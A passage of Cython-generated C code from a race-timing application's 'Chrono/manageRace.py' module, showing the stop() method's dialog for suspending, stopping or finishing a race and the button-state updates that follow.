(unlikely(!__pyx_t_3)) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_v_chk1}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_INCREF(__pyx_v_chk1); __Pyx_GIVEREF(__pyx_v_chk1); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_v_chk1); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_7, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 87, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/manageRace.py":88 * chk1 = QCheckBox("Finir le tour") * msg.setCheckBox( chk1 ) * btn = msg.addButton("Suspendre la course", QMessageBox.ActionRole) # <<<<<<<<<<<<<< * if msg.exec() == QMessageBox.Cancel: * return */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_msg, __pyx_n_s_addButton); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QMessageBox); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_ActionRole); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_kp_u_Suspendre_la_course, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_kp_u_Suspendre_la_course, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_6 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); if (__pyx_t_7) { __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_7); __pyx_t_7 = NULL; } __Pyx_INCREF(__pyx_kp_u_Suspendre_la_course); __Pyx_GIVEREF(__pyx_kp_u_Suspendre_la_course); PyTuple_SET_ITEM(__pyx_t_6, 0+__pyx_t_8, __pyx_kp_u_Suspendre_la_course); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_6, 1+__pyx_t_8, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_6, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_v_btn = __pyx_t_3; __pyx_t_3 = 0; /* "Chrono/manageRace.py":89 * msg.setCheckBox( chk1 ) * btn = msg.addButton("Suspendre la course", QMessageBox.ActionRole) * if msg.exec() == QMessageBox.Cancel: # <<<<<<<<<<<<<< * return * if msg.clickedButton() == btn: */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_msg, __pyx_n_s_exec); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (__pyx_t_6) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else { __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 89, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QMessageBox); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_Cancel); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = PyObject_RichCompare(__pyx_t_3, __pyx_t_6, Py_EQ); __Pyx_XGOTREF(__pyx_t_1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely(__pyx_t_4 < 0)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_4) { /* "Chrono/manageRace.py":90 * btn = msg.addButton("Suspendre la course", QMessageBox.ActionRole) * if msg.exec() == QMessageBox.Cancel: * return # <<<<<<<<<<<<<< * if msg.clickedButton() == btn: * theRace._status = manageRace.cmdSuspended */ __Pyx_XDECREF(__pyx_r); __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; /* "Chrono/manageRace.py":89 * msg.setCheckBox( chk1 ) * btn = msg.addButton("Suspendre la course", QMessageBox.ActionRole) * if msg.exec() == QMessageBox.Cancel: # <<<<<<<<<<<<<< * return * if msg.clickedButton() == btn: */ } /* "Chrono/manageRace.py":91 * if msg.exec() == QMessageBox.Cancel: * return * if msg.clickedButton() == btn: # <<<<<<<<<<<<<< * theRace._status = manageRace.cmdSuspended * print( "Suspending Race" ) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_msg, __pyx_n_s_clickedButton); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 91, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = PyObject_RichCompare(__pyx_t_1, __pyx_v_btn, Py_EQ); __Pyx_XGOTREF(__pyx_t_6); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_6); if (unlikely(__pyx_t_4 < 0)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__pyx_t_4) { /* "Chrono/manageRace.py":92 * return * if msg.clickedButton() == btn: * theRace._status = manageRace.cmdSuspended # <<<<<<<<<<<<<< * print( "Suspending Race" ) * else: */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_manageRace); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_cmdSuspended); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_theRace, __pyx_n_s_status_2, __pyx_t_1) < 0) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":93 * if msg.clickedButton() == btn: * theRace._status = manageRace.cmdSuspended * print( "Suspending Race" ) # <<<<<<<<<<<<<< * else: * if chk1.isChecked(): */ __pyx_t_1 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_tuple__7, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":91 * if msg.exec() == QMessageBox.Cancel: * return * if msg.clickedButton() == btn: # <<<<<<<<<<<<<< * theRace._status = manageRace.cmdSuspended * print( "Suspending Race" ) */ goto __pyx_L7; } /* "Chrono/manageRace.py":95 * print( "Suspending Race" ) * else: * if chk1.isChecked(): # <<<<<<<<<<<<<< * print( "Stopping Race, and finishing lap ") * theRace._status = manageRace.cmdFinish */ /*else*/ { __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_chk1, __pyx_n_s_isChecked); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 95, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 95, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 95, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely(__pyx_t_4 < 0)) __PYX_ERR(0, 95, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_4) { /* "Chrono/manageRace.py":96 * else: * if chk1.isChecked(): * print( "Stopping Race, and finishing lap ") # <<<<<<<<<<<<<< * theRace._status = manageRace.cmdFinish * else: */ __pyx_t_1 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_tuple__8, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":97 * if chk1.isChecked(): * print( "Stopping Race, and finishing lap ") * theRace._status = manageRace.cmdFinish # <<<<<<<<<<<<<< * else: * print( "Stopping Race ") */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_manageRace); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_cmdFinish); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_theRace, __pyx_n_s_status_2, __pyx_t_6) < 0) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Chrono/manageRace.py":95 * print( "Suspending Race" ) * else: * if chk1.isChecked(): # <<<<<<<<<<<<<< * print( "Stopping Race, and finishing lap ") * theRace._status = manageRace.cmdFinish */ goto __pyx_L8; } /* "Chrono/manageRace.py":99 * theRace._status = manageRace.cmdFinish * else: * print( "Stopping Race ") # <<<<<<<<<<<<<< * theRace._status = manageRace.cmdStop * theRace.timer.stop() */ /*else*/ { __pyx_t_6 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_tuple__9, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Chrono/manageRace.py":100 * else: * print( "Stopping Race ") * theRace._status = manageRace.cmdStop # <<<<<<<<<<<<<< * theRace.timer.stop() * Globals.MainWindow.B_Stop.setEnabled(False) */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_manageRace); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_cmdStop); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_theRace, __pyx_n_s_status_2, __pyx_t_1) < 0) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":101 * print( "Stopping Race ") * theRace._status = manageRace.cmdStop * theRace.timer.stop() # <<<<<<<<<<<<<< * Globals.MainWindow.B_Stop.setEnabled(False) * Globals.MainWindow.B_Start.setEnabled(True) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_theRace, __pyx_n_s_timer); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_stop); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_6) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 101, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":102 * theRace._status = manageRace.cmdStop * theRace.timer.stop() * Globals.MainWindow.B_Stop.setEnabled(False) # <<<<<<<<<<<<<< * Globals.MainWindow.B_Start.setEnabled(True) * Globals.MainWindow.B_Define.setEnabled(True) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_B_Stop); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setEnabled); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__10, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":103 * theRace.timer.stop() * Globals.MainWindow.B_Stop.setEnabled(False) * Globals.MainWindow.B_Start.setEnabled(True) # <<<<<<<<<<<<<< * Globals.MainWindow.B_Define.setEnabled(True) * */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_B_Start); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setEnabled); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__11, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 103, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":104 * Globals.MainWindow.B_Stop.setEnabled(False) * Globals.MainWindow.B_Start.setEnabled(True) * Globals.MainWindow.B_Define.setEnabled(True) # <<<<<<<<<<<<<< * * elif theRace._status == manageRace.cmdFinish: */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_B_Define); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setEnabled); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__12, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __pyx_L8:; } __pyx_L7:; /* "Chrono/manageRace.py":78 * def stop(self): * theRace = Globals.MainWindow.getActualRace() * if theRace._status == manageRace.cmdStart or theRace._status == manageRace.cmdEndTime: # <<<<<<<<<<<<<< * msg = QMessageBox() * msg.setIcon( QMessageBox.Critical) */ goto __pyx_L3; } /* "Chrono/manageRace.py":106 * Globals.MainWindow.B_Define.setEnabled(True) * * elif theRace._status == manageRace.cmdFinish: # <<<<<<<<<<<<<< * msg = QMessageBox() * msg.setIcon( QMessageBox.Warning) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_theRace, __pyx_n_s_status_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_manageRace); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_cmdFinish); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = PyObject_RichCompare(__pyx_t_1, __pyx_t_6, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely(__pyx_t_4 < 0)) __PYX_ERR(0, 106, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_4) { /* "Chrono/manageRace.py":107 * * elif theRace._status == manageRace.cmdFinish: * msg = QMessageBox() # <<<<<<<<<<<<<< * msg.setIcon( QMessageBox.Warning) * msg.setText( "Tout les concurrents sont hors du parcours") */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QMessageBox); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 107, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_v_msg = __pyx_t_3; __pyx_t_3 = 0; /* "Chrono/manageRace.py":108 * elif theRace._status == manageRace.cmdFinish: * msg = QMessageBox() * msg.setIcon( QMessageBox.Warning) # <<<<<<<<<<<<<< * msg.setText( "Tout les concurrents sont hors du parcours") * msg.setWindowTitle( "Course termine, Drapeau Damier") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_msg, __pyx_n_s_setIcon); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QMessageBox); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_Warning); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 108, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_1); 